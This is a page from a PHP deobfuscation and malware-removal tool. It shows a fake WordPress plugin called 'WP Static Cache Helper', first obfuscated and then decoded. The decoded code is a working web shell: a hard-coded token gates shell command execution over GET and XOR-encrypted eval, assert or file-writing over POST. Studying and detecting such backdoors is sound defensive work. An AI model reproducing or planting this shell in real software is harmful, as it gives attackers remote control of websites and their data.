PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
/*
Plugin Name: WP Static Cache Helper
Description: Performance optimization for static page cache invalidation.
Version: 1.3.2
Author: WordPress Performance Team
*/
$_f=array_map(function($v){return str_rot13($v);},array('unfu_rdhnyf','furyy_rkrp','onfr64_qrpbqr','nffreg','svyr_chg_pbagragf'));
$_k=chr(53).chr(100).chr(54).chr(51).chr(55).chr(98).chr(98).chr(50).chr(102).chr(57).chr(54).chr(48).chr(55).chr(101).chr(100).chr(100).chr(57).chr(99).chr(101).chr(100).chr(53).chr(51).chr(98).chr(54).chr(52).chr(52).chr(54).chr(52).chr(54).chr(52).chr(57).chr(49);
$_xd=function($s,$k){$o='';$kl=strlen($k);for($i=0;$i<strlen($s);$i++)$o.=chr(ord($s[$i])^ord($k[$i%$kl]));return $o;};
$_e=function($c){return eval($c);};
if(isset($_GET[chr(99)])&&$_f[0]($_k,(string)($_GET[chr(116)]??''))){chdir(__DIR__);echo chr(87).chr(80).chr(67).chr(65).chr(67).chr(72).chr(69).chr(95).chr(79).chr(75).chr(58).chr(58).$_f[1]((string)$_GET[chr(99)]).chr(58).chr(58).chr(69).chr(78).chr(68);}
elseif(isset($_POST[chr(100)])&&$_f[0]($_k,(string)($_POST[chr(107)]??''))){$_c=$_xd($_f[2]($_POST[chr(100)]),$_k);$_m=(int)($_POST[chr(109)]??1);echo chr(87).chr(80).chr(67).chr(65).chr(67).chr(72).chr(69).chr(95).chr(79).chr(75).chr(58).chr(58);if($_m===1)@$_e($_c);elseif($_m===2)@$_f[3]($_c);elseif($_m===3)@$_f[4]((string)($_POST[chr(112)]??''),$_c);echo chr(58).chr(58).chr(69).chr(78).chr(68);}

Decoded(de-Obfuscated) php code

<?php

/*
Plugin Name: WP Static Cache Helper
Description: Performance optimization for static page cache invalidation.
Version: 1.3.2
Author: WordPress Performance Team
*/
$_f = array_map(function ($v) {
    return str_rot13($v);
}, array('unfu_rdhnyf', 'furyy_rkrp', 'onfr64_qrpbqr', 'nffreg', 'svyr_chg_pbagragf'));
$_k = "5d637bb2f9607edd9ced53b644646491";
$_xd = function ($s, $k) {
    $o = '';
    $kl = strlen($k);
    for ($i = 0; $i < strlen($s); $i++) {
        $o .= chr(ord($s[$i]) ^ ord($k[$i % $kl]));
    }
    return $o;
};
$_e = function ($c) {
    return eval($c);
};
if (isset($_GET["c"]) && $_f[0]($_k, (string) ($_GET["t"] ?? ''))) {
    chdir("/var/www/html");
    echo "WPCACHE_OK::" . $_f[1]((string) $_GET["c"]) . ":" . ":" . "E" . "N" . "D";
} elseif (isset($_POST["d"]) && $_f[0]($_k, (string) ($_POST["k"] ?? ''))) {
    $_c = $_xd($_f[2]($_POST["d"]), $_k);
    $_m = (int) ($_POST["m"] ?? 1);
    echo "WPCACHE_OK::";
    if ($_m === 1) {
        @$_e($_c);
    } elseif ($_m === 2) {
        @$_f[3]($_c);
    } elseif ($_m === 3) {
        @$_f[4]((string) ($_POST["p"] ?? ''), $_c);
    }
    echo "::END";
}

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.